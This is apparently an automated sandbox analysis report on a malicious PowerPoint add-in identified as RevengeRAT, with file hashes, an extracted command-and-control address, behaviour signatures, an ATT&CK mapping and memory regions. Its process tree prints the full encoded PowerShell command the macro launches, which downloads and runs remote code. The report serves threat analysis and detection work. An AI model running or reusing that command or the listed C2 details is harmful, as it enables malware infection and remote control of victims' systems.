Resubmissions

19-03-2024 13:33

240319-qtxgxsdb72 10

14-03-2024 02:49

240314-da2ajsbb65 10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-03-2024 02:49

General

  • Target

    dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam

  • Size

    21KB

  • MD5

    0fa350aeda0300d702cbffe77bdf26e1

  • SHA1

    3b9a66fd26bfd26cff53e222744b382da0735c74

  • SHA256

    dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044

  • SHA512

    d4514a79d24d5b165f0588cfa370a92e6d781add023878b515248c453153e26b9e701b2d5b7a1e02976783ba5925a0fd353d25ab8510419c4b6b30df2858e0d1

  • SSDEEP

    384:dXP27u0zBE0RZ+T9cx/7tsZKhNVqo6JV5ZjXDcd42nS5wYFjg1zTeQcxUwPMyvxh:VP2r60L+BS6ZkHqxJZkd42Sr9g1Xed0k

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBBAHUAawB3AFoARABlAGsAawBXAHAAZABmAG8AdABmAEkASQBaAFQARwBrAEgAYwBOAEgATAB1AEEAdABVAGUAQwBOAGQASABPAFYATgBBAA0ACgA=""
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
        • Checks processor information in registry
        PID:3144

Network

MITRE ATT&CK Matrix ATT&CK v13

Discovery

Query Registry

3
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k34osv0b.y2j.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/636-63-0x000001FF40600000-0x000001FF40E00000-memory.dmp
    Filesize

    8.0MB

  • memory/636-5-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-64-0x000001FF424E0000-0x000001FF426E0000-memory.dmp
    Filesize

    2.0MB

  • memory/636-2-0x00007FF941030000-0x00007FF941040000-memory.dmp
    Filesize

    64KB

  • memory/636-66-0x000001FF40600000-0x000001FF40E00000-memory.dmp
    Filesize

    8.0MB

  • memory/636-1-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-6-0x00007FF941030000-0x00007FF941040000-memory.dmp
    Filesize

    64KB

  • memory/636-7-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-9-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-8-0x00007FF941030000-0x00007FF941040000-memory.dmp
    Filesize

    64KB

  • memory/636-10-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-11-0x00007FF93EC80000-0x00007FF93EC90000-memory.dmp
    Filesize

    64KB

  • memory/636-12-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-13-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-14-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-16-0x00007FF93EC80000-0x00007FF93EC90000-memory.dmp
    Filesize

    64KB

  • memory/636-15-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-17-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-18-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-19-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-20-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-21-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-25-0x000001FF40600000-0x000001FF40E00000-memory.dmp
    Filesize

    8.0MB

  • memory/636-28-0x000001FF424E0000-0x000001FF426E0000-memory.dmp
    Filesize

    2.0MB

  • memory/636-46-0x000001FF40600000-0x000001FF40E00000-memory.dmp
    Filesize

    8.0MB

  • memory/636-47-0x000001FF40600000-0x000001FF40E00000-memory.dmp
    Filesize

    8.0MB

  • memory/636-60-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-61-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-62-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-0-0x00007FF941030000-0x00007FF941040000-memory.dmp
    Filesize

    64KB

  • memory/636-4-0x00007FF941030000-0x00007FF941040000-memory.dmp
    Filesize

    64KB

  • memory/636-65-0x000001FF40600000-0x000001FF40E00000-memory.dmp
    Filesize

    8.0MB

  • memory/636-3-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-115-0x00007FF941030000-0x00007FF941040000-memory.dmp
    Filesize

    64KB

  • memory/636-116-0x00007FF941030000-0x00007FF941040000-memory.dmp
    Filesize

    64KB

  • memory/636-117-0x00007FF941030000-0x00007FF941040000-memory.dmp
    Filesize

    64KB

  • memory/636-118-0x00007FF941030000-0x00007FF941040000-memory.dmp
    Filesize

    64KB

  • memory/636-119-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/636-120-0x00007FF980FB0000-0x00007FF9811A5000-memory.dmp
    Filesize

    2.0MB

  • memory/1180-79-0x00007FF953E30000-0x00007FF9548F1000-memory.dmp
    Filesize

    10.8MB

  • memory/1180-93-0x0000029445580000-0x0000029445598000-memory.dmp
    Filesize

    96KB

  • memory/1180-95-0x0000029445580000-0x0000029445598000-memory.dmp
    Filesize

    96KB

  • memory/1180-83-0x0000029445580000-0x00000294455A0000-memory.dmp
    Filesize

    128KB

  • memory/1180-84-0x0000029445580000-0x0000029445598000-memory.dmp
    Filesize

    96KB

  • memory/1180-85-0x0000029445580000-0x0000029445598000-memory.dmp
    Filesize

    96KB

  • memory/1180-87-0x0000029445580000-0x0000029445598000-memory.dmp
    Filesize

    96KB

  • memory/1180-89-0x0000029445580000-0x0000029445598000-memory.dmp
    Filesize

    96KB

  • memory/1180-91-0x0000029445580000-0x0000029445598000-memory.dmp
    Filesize

    96KB

  • memory/1180-100-0x00007FF953E30000-0x00007FF9548F1000-memory.dmp
    Filesize

    10.8MB

  • memory/1180-82-0x000002945DCC0000-0x000002945DCD0000-memory.dmp
    Filesize

    64KB

  • memory/1180-81-0x000002945DCC0000-0x000002945DCD0000-memory.dmp
    Filesize

    64KB

  • memory/1180-69-0x0000029445550000-0x0000029445572000-memory.dmp
    Filesize

    136KB

  • memory/1180-96-0x00000294455A0000-0x00000294455A1000-memory.dmp
    Filesize

    4KB

  • memory/1180-80-0x000002945DCC0000-0x000002945DCD0000-memory.dmp
    Filesize

    64KB

  • memory/3144-102-0x0000000075010000-0x00000000757C0000-memory.dmp
    Filesize

    7.7MB

  • memory/3144-122-0x0000000004C20000-0x0000000004C30000-memory.dmp
    Filesize

    64KB

  • memory/3144-103-0x00000000050C0000-0x0000000005664000-memory.dmp
    Filesize

    5.6MB

  • memory/3144-104-0x0000000004C20000-0x0000000004C30000-memory.dmp
    Filesize

    64KB

  • memory/3144-106-0x0000000005020000-0x0000000005086000-memory.dmp
    Filesize

    408KB

  • memory/3144-105-0x0000000005670000-0x000000000570C000-memory.dmp
    Filesize

    624KB

  • memory/3144-121-0x0000000075010000-0x00000000757C0000-memory.dmp
    Filesize

    7.7MB

  • memory/3144-101-0x0000000000520000-0x000000000052A000-memory.dmp
    Filesize

    40KB